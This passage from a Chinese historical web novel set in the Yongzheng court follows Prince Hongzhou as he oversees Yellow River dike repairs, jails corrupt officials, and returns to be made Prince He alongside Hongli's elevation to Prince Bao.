“这钦差大人要弹压当地官员豪强,还需得清廉,方才能将这修河堤的银子用在修河堤上。” “不若派张廷玉张大人。” “不可,”雍正摇头,“如今张廷玉在军机处当值,京中吏部户部少不得他。” “那鄂尔泰大人呢?” “还是应当派皇室宗亲中人出面,皇家之人才好压得住当地官员。” 见提议出来的人一个个被否决,下面的人多少有点数了,皇上心中这是有了人选。 另还有人偷偷吐槽,既然有了人选便直接说出来便是了,何必在这让众人举荐。 唯有弘历似乎是察觉到了什么,微微抬头看了一眼汗阿玛,又看了看自己旁边的五弟。 “皇上,”最终还是鄂尔泰察觉到了什么,“不如请五阿哥走一趟,五阿哥天潢贵胄必能让当地官员配合。再佐以一两位治水能臣,便定能办好这件差事。” 原本在发呆的弘昼被点了一下,猛然抬头看着汗阿玛,正准备说自己不行。 “也可。” 但上面的雍正比他更快地定下了,对着鄂尔泰点了点头定下了这个人选。 不是,没人问问我的意见吗?弘昼瞪大了眼睛,几乎要将这句话说了出来。还是弘历轻轻扯了一下他的袖子,让他安静下来。 在朝堂上不能反驳汗阿玛,弘昼将这句话在自己的心里默念了三遍之后才冷静了下来。只要旨意没有下,还是可以更改的,等散朝了去养心殿找汗阿玛。 雍正见弘昼一副敢怒不敢言的模样,眼中掠过了一点笑意。 待散朝之后,弘昼果不其然跑来了养心殿求见。 但雍正并未第一时间见他,而是让苏培盛叫他回去。要先晾一晾这孩子,免得每次都是这样毛毛躁躁的。 弘昼本来是想要等在门外的,但还是被苏培盛劝回去了。 “五爷,”苏培盛苦口婆心道,“奴才虽不知五爷为何来此,但多半是对皇上有所求的。您在这等着,那不就是逼迫皇上吗,本还能商量的事情,这样一逼皇上直接下旨了怎么办?” 弘昼一想似乎也是这样的,只能心不甘情不愿地往回走了,他直接去了毓庆宫。 此时的弘历也正在处理事务,汗阿玛最近给了他不少的事情处理,这让他最近都很忙。 见弘昼进来眼睛也没抬一下,而是继续处理自己桌案前的折子。 “四哥,”弘昼见四哥不理会自己,便先开口,“你说汗阿玛怎么突然把我派出去了?” 还是修河堤那样的大事,若是祭孔庙这样面子活儿的事情派了他去他就走这一遭了。可修河堤这样的事情,他若是一不小心没管好,或者修河堤的方案没有选好,那可是关乎万民的事情。 他一想到因为自己修的河堤不过关,来年黄河泛滥的时候多了无数灾民的样子,就觉得自己罪恶深重。 “我这点斤两汗阿玛还不知道吗?”弘昼叹气,“我哪里懂治水。” 他对治水最了解的,就是大禹治水这个典故中的堵不如疏。可具体的是一点都不懂啊,虽说下面有匠人会献方案,但最后的决策是他。而且肯定不止一个匠人,若是他选错了方案怎么办。 听着弘昼叽里咕噜说这么多,弘历也终于将眼前的这本折子给批完了。 “你可曾听闻汗阿玛有意欲封我兄弟二人爵位的传言?”弘历问道。 弘昼似乎明白了什么,皱着眉点了点头。 “你也已这么大了,”弘历叹道,“怎么能不做点正经事,要带须得要些功劳傍身才能让汗阿玛好给你封爵啊。” “可以是别的事,但这样关乎几省百姓的事情交于我手……”弘昼眉头紧蹙,“若定要如此,我情愿不封爵。” “汗阿玛都说了要给你派一治水能臣,”弘历说道,“那才是原本要派去的钦差,你只要好好听他的,弹压当地官员叫他们不许克扣银两便是了。” 弹压官员的事情弘昼还是会做的,他只要摆出一个纨绔子弟的架势狠狠地发作一个贪污修河堤银两的官员,其余的官员便会投鼠忌器。在这个前提之下,好好查每一笔账就能确保这笔银子最少十之八九能用在河堤上。 相当于这次派高斌前去,但是功劳要算在弘昼身上。不过雍正自然是不会亏待这个在这次吃了些亏的能臣的,必然会在别的地方补上来。 弘历见弘昼一副若有所思的样子赶人:“你既知道了还不快去准备着,你这回去修河堤少说也要在黄河待好几个月甚至一年半载的,回去收拾东西吧。” 被四哥赶出毓庆宫后,弘昼回了阿哥所讲这件事和澄碧讲了。 澄碧不大懂这方面,但马上就叫人开始给弘昼收拾行李。这次是去办差的,就不能带太多的行李,但一去这么久又不能带的东西太少了。 在四哥那里被点通后,弘昼也不去养心殿找汗阿玛闹了,但雍正却将他宣召了过去。 “儿臣参见汗阿玛。”弘昼进去之后老老实实行礼问安。 雍正看着他问道:“你知道朕为何要派你前去了吗?” 弘昼点了点头:“四哥已经给儿臣解惑了。” 从椅子上站了起来,雍正慢慢地往下走,终于走到了弘昼的面前将他扶了起来。 弘昼站直了身子后才发现汗阿玛竟然已经有些佝偻了,鬓边如今银丝和黑发参半。似乎从前自己幼时见到的那个年轻力壮的汗阿玛已经不见了,站在面前的是一个风烛残年的老头。 “你如今也已经快要到弱冠之年了,”雍正的语气平缓,“从前我从未将你派出去办过什么差事,这回便交给你这样大的差事,你心中有疑虑也是常事。” 还不等弘昼开口,雍正继续道:“可是小五,汗阿玛如今也老了。” 第127章 下狱 这话让弘昼的心头一跳,他猛然抬起头看着雍正。汗阿玛今年已经过了知天命之年了,但他总觉得似乎汗阿玛还是记忆之中的样子,那个三十上下会带着他念书的会被他气得想要揍他的汗阿玛。 可记忆之中那个年富力强的人如今脸上已经有了不少皱纹,前两年头上的白发是没有那么多的,但自从十三叔去世后汗阿玛头上就多了不少的白发。 “汗阿玛,”弘昼的声音干涩,“你如今也才五十多岁呢,何必这么早就言老。皇玛法可是耳顺之年都不服老,汗阿玛为何这样自谦。” 雍正平静地摇了摇头,他前几年也是不大接受自己可能老去这个事实的。也因此找了些道士来炼丹吃药,想要让自己的身体保持在年轻强健的时候,或者让他自己感觉还未老。 可十三弟去世后,他突然就不在意这些了。人人都有老的时候,即便是天子也会生老病死,汗阿玛固然活到了近古稀之年,但玛法可是在二十四岁便去了。 在这方面来说,天子和平常的人又有什么分别呢。 “汗阿玛老了,如今也只能为你铺这一段路了,到了河南之后你只需要听从高斌的话,勿要轻信当地官员……”雍正絮絮叨叨说了不少的话,大多数是在嘱咐弘昼应当怎么办差的,甚至有点后悔之前一点不曾叫这个孩子办过差事。 这个儿子之前从未办过差事,也实在是令他放心不下。 倘若福惠如今还在,他要操心的孩子就该是两个了。可福惠先一步下去找清凝了,只不知他到时候下去后清凝会不会怪他没有看顾好他们好不容易得来的孩子。 弘昼耐心地听着,他现在的心中有点惆怅又有点难受,不知道该说什么。 嘱咐完了之后,雍正就要弘昼告退了。他现在身体虽大不如前了,但应当还是有两年好活的,现在铺了弘昼的路,等弘昼修完河堤回来后再告诫他日后要好好地听他四哥的话。 从养心殿出来后,弘昼便闷闷不乐。 若汗阿玛不是一个负责任的父亲,或者不是一个经常陪伴他的父亲的话,他可能现在就不会有这么多的情绪了。可从前还在雍亲王府的时候,雍正只要不忙便会过来考察兄弟俩的课业,也曾带着他们出去踏青打猎游玩。 自己年纪还小的时候,雍正勉强也能称得上是一个慈父。后来病了不能回宫里念书的那段日子,汗阿玛也是亲自教自己的。 所以即便弘昼是从小就带着前世记忆的,也还是对雍正产生了些许的孺慕之情。可身为人子在听见父亲说出这样灰心的话后,他竟然找不到什么话来安慰。 弘昼这边不抗拒了,次日雍正的圣旨就下来了。 那边的高斌已经被皇上和四阿哥都嘱咐过了,知道了这次带着五爷是为了让他身上能有些功劳,好日后封爵的。自己这次将功劳让出去,日后绝不会被亏待的。 原本高斌还有些踌躇的,他的女儿如今在四阿哥的后院中当格格,他便不大好和五爷走近了。但四阿哥找了一次后,他才放下了原本的想法,感情这位爷一点也不介意自己下面的人帮着五爷做面子。 这下子高斌就放心了,他最怕的是皇上要他去帮着五阿哥,但四阿哥又命他私底下使绊子*。修河堤这样的事情可使不了绊子,一被发现可就是全家流放的罪过。 弘昼在下朝后也见到了这位传闻中的高大人,他有点微胖,但五官看着很是讨喜,隐约能看见年轻时的英俊。 见到弘昼的时候,高斌先是说了一堆的吉利话,随后才又说清楚了修河堤治水的过程,应当从什么开始,然后做什么,最后收尾的时候要做什么。 弘昼听得认真,既然要去办这差事,他多少还是要了解些的。 高斌见这位五爷好歹面子上是认真的,心中松了口气。虽说皇上和四阿哥都说了要他来决断大小事情,可这位爷肯定是这个钦差使团身份最高的,到时候倘若要胡乱指挥,他只怕要为难。 虽说雍正下了旨意,但调集银两还有其余准备事项都是需要时间的,弘昼真正开始出发已经是半个月之后了。 在这半个月间,汗阿玛嘱咐了他三次,四哥嘱咐了五次。去给额娘和钮祜禄额娘告别的时候,也被这两位额娘拉着叮嘱了一大堆。 汗阿玛和四哥都是让他办事的时候不要独断专行,要多听高斌的话,倘若有犹豫不决的时候写信回来问他们,定然不要自己随意下主意。 而两位额娘叮嘱的更多是关于生活上的事情了,出门在外不比宫里,少不得要受些委屈。但吃饭睡觉是不能随意糊弄的,尤其是吃饭,可以不精致,但一定要吃饱。 弘昼听到这些叮嘱的时候觉得自己的额头都有点疼,可能两位额娘把他当成了三五岁的孩子在嘱咐吧。自己都已经这么大了,吃饭这样的事情哪还需要额娘们叮嘱。 出发的时候,弘昼骑着高头大马跟着高斌走。他身后跟着十来个侍卫,都是雍正挑选的,这些侍卫专程保护他的安危。 沿途一路都是住的驿站,其实当地的官员是想要请弘昼去他们府上歇息的。毕竟明眼人都能看出来,这回五阿哥出来办一回差事,回去之后至少都是个郡王的爵位了。 被外放出去的官员最怕的就是自己在中央没有说话的人,这样得到消息都要晚一步,被人弹劾更是没有人为自己说话。这位五爷是不大出京办差的,若是能趁着这次的几乎攀上了五爷,日后少不得也能往上走一走。 但弘昼一处也不去,老老实实地跟着高斌住在驿站。 这些官员后面是盘根错节的势力网,弘昼出京之前汗阿玛和四哥都给了他一份名单,倘若遇到什么要紧的事情可以找哪些官员。但这些都是要等他遇到要紧的事情的时候才会调用,现在还没遇到呢,就暂且算了。 馆驿修得还不错,若是寻常人家住起来不会觉得有什么。但弘昼自小在王府里长大,后来更是住进了紫禁城。高斌本来以为这些方面五爷多半是要挑剔的,但没想到这位爷一声不吭地住了,竟没有丝毫抱怨。 这让高斌对这位爷的评价高了点,有时候来不及到城镇的时候就直接住在野外,让五爷跟着他们吃干饼子也不见他有什么不愿的。 出来后,弘昼维持着五天往京中寄一波信的频率。 之所以说是一波是因为要给汗阿玛一封,额娘一封,澄碧一封还有四哥一封。他到了馆驿后将信寄出去,给京中的亲人报一下平安,给汗阿玛汇报一下进度。 到了河南后,弘昼也是维持着这个频率的。 本来以为他过来就是当个吉祥物的,最多去威胁一下那些不配合的官员。但到了之后弘昼才发现自己想多了,等着他的事情多了去了。 如何修筑河堤自有高斌去处理,但他要坐镇官府查看账本子。倘若不细细查出来,只怕修河堤的条石都能涨到百两银子一根。 弘昼还在京城的时候就派人过来这边去市场里探查原本的这些东西是多少钱,还要问出从前是多少钱。 然后再根据他们报上来的预算看看有哪些人想要从中贪银子,一下子将两名知州一名知府和一位同知下狱后,敢在弘昼面前弄鬼的人就少了不少。 其余的钦差大臣过来多少是要投鼠忌器的,一下子扳倒这么多官员他们身后的实力岂会善罢甘休?你的背后是文渊阁大学士张廷玉,那我背后还是云贵总督呢,他还和四阿哥能攀上点七拐八拐的关系,甚至这个可能还是从前太后娘娘的远亲呢 即便要将人扳倒,也是要慢慢来的,要掌握完全了证据才能进行下一步。 但弘昼就完全没有这个顾忌了,他本身不涉朝事,对这些人背后的靠山不感兴趣。什么,你背后是张廷玉?那我可就要写信去问问张大人认不认你这个门生了。 啥?你说鄂尔泰是你姑父?爷怎么没听过这么一回事,你直接叫鄂尔泰写信给爷。 这下子地方官员们只能苦哈哈地配合了,君不见那些送去京城参这位五爷的折子一个回复都没有吗? 现在不哄着这位爷,只怕这个官能当场被撸了。这位可是拿着钦差大臣的权利,虽说从前的钦差都不会这样做,但这位也不是一般人啊。 写信给背后的人,都被骂了一顿。这位爷这次办差肯定是要办得漂亮的,不论是皇上还是四阿哥都在背后支持,他们又岂敢拖后腿。都什么时候了还想着捞好处,小心把自己捞到监牢里。 高斌看到了这全程的操作,只觉得目瞪口呆。从前他修河堤的时候,这国库拨出来的银子能有一半用在修河堤上面就很不错了。但这回,可是几乎全用上了。之前还担心跟着五爷出来办差会被束缚,但现在瞧着五爷不管他如何修,只一心管着后勤和银两,竟然让他这次有了点宽裕的感觉。 从前可一直紧巴巴的。 弘昼将人下狱后写信给了汗阿玛和四哥,让他们心中有个底,别从旁人最终听说了之后被吓到。 当弘昼的信被加急送到京城后,看到信的雍正和弘历都沉默了。 虽说让这小子不用顾忌太多放手去干,但这是不是太不顾及了点? 第128章 回京 弘历收到这封信的时候,正在书房里处理事情。 今年来汗阿玛越发倚重他了,朝廷上有些不大重要的事情都交给了他。这也让他逐渐开始在书房内耗费更多的时间了,甚至于没什么空闲去曾经喜欢的郊区跑马了。 四福晋走了进来,身后的侍女手上端着一盏燕窝。 弘历停下手中的动作,抬头看着自家福晋对她笑了笑:“怎么过来了?” “这两日听闻爷一直忙着,连饭都顾不上吃了。”四福晋笑道,“想过来劝劝爷,好歹也要顾惜身体。” 弘历摇头叹了声:“这两日忙过了也就是了。” 四福晋亲手将燕窝奉上来,弘历笑了笑还是接过来喝了。他是不大喜欢燕窝这种东西的,但总听人说大补,从额娘到福晋都喜欢给他送。 正在这时,外面有小太监叩门,李玉进来禀报。 “爷,五爷来信。” 弘昼离京之前,弘历是嘱咐过他要多往京中寄信的。他在那时也是很担心五弟的,五弟从前就没有办过差,更没有同那些官场的老油子打过交道,这要是被当地的那些人糊弄了可怎么办。 虽说他已经差了人去帮着弘昼一起盯着,但心中还是不免忧心忡忡。 弘昼到了河南后,许是忙着,已经好几日没有寄信回来了。听到是弘昼的信,弘历连忙将手中的燕窝放到了桌子上,朝着李玉伸出手来。 “给我。” 四福晋在书案前面的椅子坐下,安静地等着弘历看完信。她这次过来还有些其他的事要商量的,有几家大臣家中福晋的态度她有点拿捏不好。 后院的交际也是要看前头官场的,所以弘历时常会同四福晋说些前面的事情,免得四福晋到时候不知道内情被人蒙骗了。 弘历将手中的信拆开,一目十行看完,脸上的表情渐渐凝固。 “这是怎么了?” 瞧着自家爷的表情实在奇怪,不像是生气也不像愤怒,似乎是有点好笑,有点无语。这叫四福晋也好奇了起来,若是其余的大臣的信她的断然不会开口的,但是五弟的信问一问倒也无妨。 弘历将信纸放到了桌子上,用手撑着自己额头,闭上眼深呼吸了一下。 “可是五弟在外面闯祸了?”见弘历这样子,四福晋也不免担忧了起来。 她对这个五弟的印象很不错,对五弟妹的印象也好。若是五弟在外面闯祸了,耿额娘和额娘少不得要担忧的。 半晌,弘历才抬起头来摇了摇,将信纸拿起来递过去,示意四福晋看看。 四福晋踌躇片刻后接过信来,随后表情和弘历一样凝固了。 她虽然没有办过差事,但管着后院还有些其他的事情也多少明白差事是应该怎么办的。像这样的钦差大臣自然是有些特权的,但这个特权应当是不包括将三品四品的大员抓到牢里这样的事情。 还好五弟是汗阿玛的儿子,这要是普通的宗亲,只怕一个僭越的罪过是少不了的。 “这……” 四福晋拿着手中的信纸,不知道该说什么。 要说这差事办得差吗?似乎也不差。从五爷信中所说,这河堤修得简直好极了。但要说办得好吗,似乎也不是。哪有钦差一过去办差事,没几天就抓了好几个官员下狱啊。 “罢了……”弘历长叹了一口气,“好歹他的河堤是修好了的,其余的我在朝堂上帮着他周旋吧。想来汗阿玛也不会怪罪的,那几个官员好好查查,有小辫子的就是活该,清白的就让弘昼到时候给人家赔个罪吧。” 四福晋微微张了张嘴没说话,这简直要偏心到家了。 牢狱里可不是什么好玩的地方,即便送去的是个干净些的牢房,但也不会少受太多罪。倘若清白,受这么多的罪出来后,赔偿就是五阿哥的赔罪。 “不过五弟从不是无的放矢之人,”弘历又道,“他既然能直接下狱而非禁足,想来也是拿到了证据的。” 雍正收到信的时候,表现和心理路程和弘历差不多。他先在心中骂了一通弘昼这臭小子给他找事,想来等消息传到京城后,上折子参弘昼的人不会少。 但又看着弘昼信中详细的奏报,又觉得这小子第一次办差事就能办成这样,已经很不错了。 既然差事都已经办好了,得罪几个人罢了,他这个阿玛又不是摆不平。 和寄给父兄的信中更多描述的是自己修河堤的进度不同,寄给额娘和澄碧的信件更多说的是关于生活方面的事情。 弘昼给福晋写信的时候在信中吐槽了不少那些和他打太极的人,面上应得好好的,但做事的时候就这里有难处,那里不合规矩。让他同这些人打交道的时候实在火大,好在自己的身份够高,直接可以一力降十会。 现在看着被下狱的那几个三品大员,敢和弘昼打太极的人已经没有了。 澄碧细细看着每一行字,上面有关于弘昼自己的生活,也有问候她的。她们成婚以来一直是待在一起的,从未分别过这样长时间。 看着澄碧已经将信件看了两次,银叶笑道:“福晋不若去写回信罢,总这么瞧着这张纸也不行啊。” “你懂什么,”余姚促狭道,“这叫睹物思人,没见五爷送过来的信都被好好收着吗。” 澄碧回过神来,瞪了一下这两个拿她开玩笑的丫鬟:“越发没规矩了,看来我是该早些将你们嫁出去才是。” 从小就跟在澄碧身边,这样的威胁银叶和余姚根本不怕,也知道福晋其实没有恼。继续嘻嘻哈哈地说着笑,让澄碧最后也破功了。 她又瞪了一下她们后便叫了人唤琴伺候笔墨,她要写一封回信寄过去。 弘昼收到信后,已经是半个月之后了,他这段时间真可谓忙得脚不沾地了。修河堤是个大工程,其中牵涉到的银两极多,采买的东西多,给修河堤的工人发的粮米也不少,都一一记在账本之中,他要过个大略。 本来以为半年左右就能功成回京的,但没想到高斌看到银两富余后,便想要多修两处。 来都来了,弘昼自然也只能舍命陪君子了。 所以等弘昼回京的时候,时间已经过了八九个月了,他现在回去刚好能赶上过年。 跟着高斌一起回京后,弘昼还来不及去阿哥所找澄碧,就先到了养心殿见汗阿玛。 雍正此时正穿着一身明黄色的常服,弘昼进来的时候他正在作画。 见汗阿玛忙着,弘昼便老老实实行了个礼后自己站了起来在一边等着。 等雍正停笔抬头,就看到弘昼低着脑袋站在殿中央,似乎是有些犯困的样子,眼睛半眯着。 这其实不怪弘昼,这一路上舟车劳顿的他也没怎么睡好。每天都换一个地方睡觉,实在是让他很不习惯。这也导致了他一进殿感受到这里面安静的氛围,还有殿内被炭火烘得暖暖的,很难不犯困。 雍正无奈,重重地咳嗽了一声。 弘昼猛然抬头,对着汗阿玛傻笑了一声。 若非看到弘昼办差实在办得不错,雍正都要质疑这个当真是在河南一带镇得那些地方官员不敢随意糊弄的五阿哥吗?这瞧着都要睡着了,分明是个没心没肺的傻小子。 弘昼将手中早就预备好的折子呈了上去,然后就开始汇报自己在外大半年的成果。 雍正凝神听着,在弘昼汇报完后半晌才微微点了点头:“做得不错,头回办差能做到这种程度,已经很好了。” 准确来说是让雍正都惊讶了,他原本对于弘昼的设想就是办得中规中矩就很好了。有高斌在,不会闯什么大祸。但没想到弘昼居然确确实实将这件事办好了,办成这个程度,便是只是个普通的官员做的,雍正也是要重赏的。 弘昼嘿嘿一笑没说话。 “你过来。”雍正对着弘昼招了招手,示意他过来看。 一张极大的图纸占满了雍正的桌子,弘昼有点好奇地凑过去就看到是一张宅子的平面图。 “这是?” 弘昼有点不敢置信。 雍正脸上噙着淡淡的笑意:“你不是早就想出宫开府了?这回叫你如愿了。” 这张图纸上是一个亲王规格的住宅,弘昼对自己回来后会封爵是心知肚明的,但他以为顶了天就是郡王了。这是真没想到汗阿玛会给自己直接来个亲王的爵位。 见弘昼呆呆的也不知道谢恩的样子,雍正倒也不在意,只嘱咐了他这段时间别乱惹祸就叫他出去了。 和硕亲王。 弘昼走出去的时候人还是飘飘的,自己现在刚二十出头就能封亲王了? 直到走到阿哥所的时候,弘昼依然还是没回过神来。直到看到澄碧站在院门口等着自己的时,才回过神来。 “这大冷天的,你在屋里等就是了。”弘昼拉过了澄碧的手,察觉到她的手冰凉凉的,便用自己的手捂了捂抱怨道,“何苦在这等着?” “刚等了一会儿罢了。”澄碧笑道。 余姚马上就“拆台”了:“分明从爷进紫禁城福晋就出来等着了。” 弘昼将福晋拉进去后两个人都捧着一碗热茶喝了一口气,现在正是最冷的天气,外头的雪堆得很高。即便穿得不少,但从外面进来还是觉得热气扑面而来。 上了茶后,弘昼便要那些伺候的人下去了。 “这一路可还顺利?”澄碧问道,“听闻城外大雪累累,这样的日子赶路,想来甚为不易。” 确实是有点不易的,冬天到处都在下雪,弘昼骑在马上的时候感受到风吹仿佛打在了脸上一样。即便是戴了手套,手上也还是冷得慌。 但这样的话就没必要现在和福晋说了,于是他只是笑了笑提了另一个话题。 “你可知我方才去见汗阿玛,看到了什么?” 澄碧摇了摇头,有些疑惑:“瞧见了什么?” “瞧见了咱们日后府邸的图纸。”弘昼也不卖关子,盯着福晋的脸说道。 澄碧一惊,声音下意识压低:“你,你刚回来汗阿玛就预备着给咱们分府了?” : “只怕是我还没回来的时候汗阿玛就开始预备了,”弘昼噙着笑说道,“你猜猜,咱们府邸是什么品级的。” 这是在说弘昼这次能封什么爵位了。 澄碧思索了片刻:“我前些日子回娘家的时候听我阿玛提起,你这次的差事办得很是不错,多半至少也是个贝勒,甚至是郡王吧。” 皇子起封,只要略得圣心的便是贝子起。澄碧嫁过来也有快两年了,自然也看出了汗阿玛待自己夫君还是很看重的。虽不是朝事上的看重,但平日里的年节赏赐可不少。还有平日里汗阿玛得了什么新奇的东西,自家夫君这里是绝对有一份的。 弘昼神秘兮兮摇了摇头:“再猜。” 这话让澄碧惊了一下,半晌后才说道:“难不成是……亲王?” “八九不离十了。”弘昼有点嘚瑟,这样的事情让他很难不同福晋分享,“多半明年咱们就能分府了,到时候也可自由些。不过开府是不是要办温锅宴,你会不会,要不要请岳母来帮衬一二?” “这还早着呢,”澄碧嗔了弘昼一眼,说道,“这些我还是会的。不过你料准了,当真是亲王?” “那还能有假的?”弘昼说道,“汗阿玛给我批的宅子是亲王品级的,不给我封亲王岂不是让我僭越了?” 澄碧抚着自己的胸口,感受到了里面怦怦跳的心脏。亲王……这个爵位已经是最高的了,再往上只有铁帽子王了。 弘昼又嘚瑟了几句之后便到了要用午膳的时间了,用了午膳后他就要和福晋去钟粹宫给额娘请安了。 耿执羽也是头一回这么久没见到弘昼,从前即便是去宫里念书的时候一月也是能见一次的。即使时时有信至,但心中多少还是挂念孩子的。 见弘昼去请安,耿执羽将他从头到脚都看了一遍,有点心疼:“瘦了。” 确实是瘦了不少,弘昼最开始的时候吃不惯那边的饭菜。后来习惯了也不会吃太多,加上整日里要操心的事情不算少,瘦了点也是正常的。 “哪有,”弘昼自己感觉不出来,笑嘻嘻道,“想来这额娘看孩子,自然是怎么看都瘦了。” 这才刚见面,耿执羽对弘昼极为慈爱。让弘昼又体验了一下小时候的待遇,这样的待遇主要集中在他还不大会走路的时候,后来能跑能跳后便不会这样对弘昼了。 在钟粹宫用过了晚膳后,弘昼才和澄碧慢慢走回阿哥所。 第129章 开府 回京后的第一次参加朝会,不少人看到五阿哥的时候都露出了恍如隔世的神情。还有些人长长地松了口气,这位混世魔王总算不在外面搅弄风云了,他这一年出去干的活,已经赶得上一个御史要弹劾十年才能下狱的人数了。 从最开始的收到传信的时候的愤怒,摩拳擦掌想要给这位不知天高地厚的皇子一个教训。到后来的断尾求生,罢了罢了,他们这一派虽然损了一两个官员,但到底没有损失太多。皇上护着,四阿哥瞧着也是护着的样子,他们这些官员又能作何呢? 直到现在,知道这位终于回京,不少人甚至想要放两挂炮来庆祝一下了 “你这回可是出了不小的风头,”弘暾怼了一下弘昼,在他耳边取笑道,“把那边的天都翻过来了吧。我在这京城里,可没少听见你的丰功伟绩。” “哪有,”弘昼不大满意地说道,“简简单单修个河堤罢了,怎么称得上把天都翻过来了。” 弘暾嘻嘻笑道:“张廷玉的门生,鄂尔泰的舅子,甚至之前皇后娘娘的侄子都被你丢进牢里了,这还不算搅弄风云?啧啧,真可惜你是没看到你刚办事那会儿,朝堂上全是参你的,叫我看了出好戏啊。” 即便现在已经成了铁帽子王,但弘暾还是如往常一样不靠谱。他和大哥弘昌算不得多和睦,当初在皇伯父刚登基的时候受封贝勒时在他面前耀武扬威了好一阵子,现在他成了亲王,大哥都不怎么在他面前出现了。 听到他的这话,弘昼很是无语地翻了个白眼:“早知道当初将你也带出去了,我这几个月来看账本子看得都要眼花了。你倒好,在京里只顾着看我的笑话。” 弘暾轻轻哼了一声:“皇伯父怎么可能愿意让我跟着你一起去。” 明摆着给弘昼送功劳的事情,叫他这个和硕亲王也跟着去算怎么回事。到时候他和弘昼到底谁是钦差,这主要的功劳又算在谁的头上。 弘昼也明白了他的言下之意,坏笑道:“你也能扮成侍卫跟我去啊,放心,当我的侍卫是不会亏待你的。” 这次还多亏了汗阿玛送过来的侍卫,弘昼是受过两次意外的,全靠这一队的侍卫挡下了。他最后分析了一下,多半是有人想用他的命去栽赃别人,甚至不需要他死,只要他受伤这个目的就能达成。所以都不一定是当地的官员。 毕竟汗阿玛失了一个儿子,当地的官员肯定没有什么好果子吃的。最后查出来了是当地的富户里头新任的当家的是个蠢货,出了这样的蠢主意,派出来的人也是菜鸡。 “得了,”弘暾状似高傲地看了一眼弘昼,“虽说你日后多半也是亲王,但你如今只是个光头阿哥呢,哪有我给你当护卫的说法。” 两人嘻嘻哈哈地就进了殿,殿内的官员们恨不得要离他们八丈远。这两位都是有皇上袒护的,他们这些人可惹不得。 不多时,弘历也来了,他对着弘昼和弘暾微微点了点头,弘暾就回到了自己该站的位置,对这个堂弟他是有点怵的。明明小的时候还好,怎么弘历越长大就越威严了。 很快,辰时就到了,雍正到了。 今天朝会头一件事肯定就是弘昼修河堤的功劳了,弘昼听见有人出列将他夸了一通,然后有许多的官员附和。 要不是方才他们看他的眼神有点不友善,他还真以为这些大臣们是乐意的呢。 雍正听得心情不错,他已经拟好了给弘昼的封赏了。但其余东西的赏赐可以今天给,但是大的封赏要等几日,那才是好日子呢,适合给弘昼还有弘历封赏。 弘昼也难得在朝会上听得认真,这么多人夸他的时候可少见。 下了朝后,弘昼换了身衣裳就去了四哥的毓庆宫。 弘历早就知道他今儿要过来了,见弘昼过来的第一时间,李玉便请他进去了。 “哟,四哥,”弘昼进去有些惊奇,“你今儿竟然没有办公?” 这时候弘历正在煮茶,这样附庸风雅的事情四哥有时候是喜欢的。他喜欢这样亲手感受做出来的感觉,而弘昼则对这些无感,甚至他对茶叶都算不上有多喜欢。 弘历没有回话,而是静心将茶煮好后给弘昼倒了一杯才说道:“这几日安分些。” 一开口就是教训,让弘昼有点不高兴:“我难道闯过什么祸吗,怎么你和汗阿玛都要这样嘱咐我。” 闻言,弘历凉凉地看了他一眼:“没闯祸?现在将汗阿玛养心殿参你的折子搬出来,垒起来能有你这么高了。” 这话让弘昼有点气短:“这,办差的事情能叫闯祸吗?” “你这回办差得罪了不少人,”弘历说道,“不过也不打紧,反正日后你又不会求到他们头上。只是汗阿玛这回摆明了要封赏你,那些看不惯你的人并非全是聪明人,若有蠢笨的给你使个绊子,你的爵位可就要飞了。纵使后面报复回去了,可终究也是吃亏了。” 这话很是语重心长,弘昼也不是不知好歹的人,当即应了一声表示自己知道了。随即端起了四哥煮的茶喝了一口,随即面色扭曲。 “四哥,”弘昼咳嗽着说道,“你这茶汤看上去好好的,怎么苦成这样?煮茶能煮成这样,还真是我头一回见的。” 弘历瞪了弘昼一眼,自己尝了一口。 “咳咳……” 下一秒,弘历就被呛到了。 李玉立刻端来了漱口的清水,弘昼弘历漱过口后终于觉得好了些。 “我就说四哥你不适合这样附庸风雅的东西,”弘昼摇头晃脑说道。 对于四哥的爱好之一写诗,弘昼其实是有点不解的。毕竟在他从前的印象之中,写诗应该是一件相对要斟酌用字的事情。但四哥写诗简直是随口拈来,最多只能算得上是押韵罢了。 “你懂什么,”弘历说道,“修身养性的东西罢了。” 弘昼在心里嘀咕了一下,修身养性还是算了。喝了四哥的茶再听听四哥的诗,再好的修养都不行了。 兄弟俩许久未见还是有很多话聊的,弘昼在毓庆宫整整待了一日才走。临走的时候甚至天色都已经开始黑了,再晚些可就要打着灯笼回去了。 送走弘昼后,弘历便来了福晋的房间。 他这个毓庆宫总体也不算大,但是他如今后院已经有了好几个格格了,甚至汗阿玛已经同他说过,明年选秀的时候打算给他再指一个身份地位高贵些的侧福晋了。 “爷来了。”四福晋此时正在绣着一套小衣,看大小明显是给孩子穿的。之前所生的一个女儿没有留住,让四福晋沉寂了许久,但如今又有了一儿一女后,让她不由将心思都放在了这一双儿女的身上。 如今虽然她事务繁忙,但总是会抽出时间来给两个孩子做些东西。 “两个孩子呢?”弘历问道。 四福晋笑:“奶嬷嬷们带着玩去了,这两个孩子越发皮了。” “现在能玩也不错,”弘历解下了外袍,换了一件更舒服的,“永琏明年也三岁了,到时候开蒙了就不能同现在一样和妹妹经常玩到一起了。” 说起孩子们开蒙的时候,四福晋和弘历又不免互相商量了一下。现在他们一家子都住在宫里,开蒙的时候请先生也少不得要去同汗阿玛禀报一下,最好是求汗阿玛赐一个下来。 说完了孩子们的事情,夫妻俩的话题才转到了弘昼身上。 “这回五弟多半当真要出宫开府了,”弘历说道,“前儿汗阿玛给我透了个信儿,说预备封五弟亲王。” 弘昼是年纪小的弟弟,怎么可能只封弘昼呢。这话也是在暗示四福晋,多半他也会被封亲王。 四福晋点了点头:“五弟这次立了这样大的一桩功劳,封亲王也自是应当的。只是想到五弟妹要搬出去了,我还真有些不舍,平日里我们两妯娌凑在一起解闷也不错。她这一走了,我便少了个说话的人。” 弘历一笑:“你若喜欢,便请弟妹多进宫陪陪你就是了。” “只怕五弟妹自己也舍不得了,”四福晋笑,“前几日她过来抱着永琏还有和敬就不乐意撒手了,这两个孩子也喜欢他们五婶婶。” 澄碧的确是喜欢这两个孩子的,这两个孩子被四福晋教得极好,见长辈的时候很是有礼貌。模样生得好,性子也好,又怎么会让人不喜欢呢。 “都是在京里,进宫也便宜。不过他们到时候搬出宫去的时候少不得要忙乱些,到时候你也去搭把手。” 四福晋笑着应了,给五弟妹搭把手这件事她还是很乐意的。 过了两三日后,终于到了雍正找钦天监测算的好日子,两道册封亲王的旨意从养心殿发出。一道是册封四阿哥弘历为宝亲王,另一道则是册封五阿哥弘昼为和亲王。 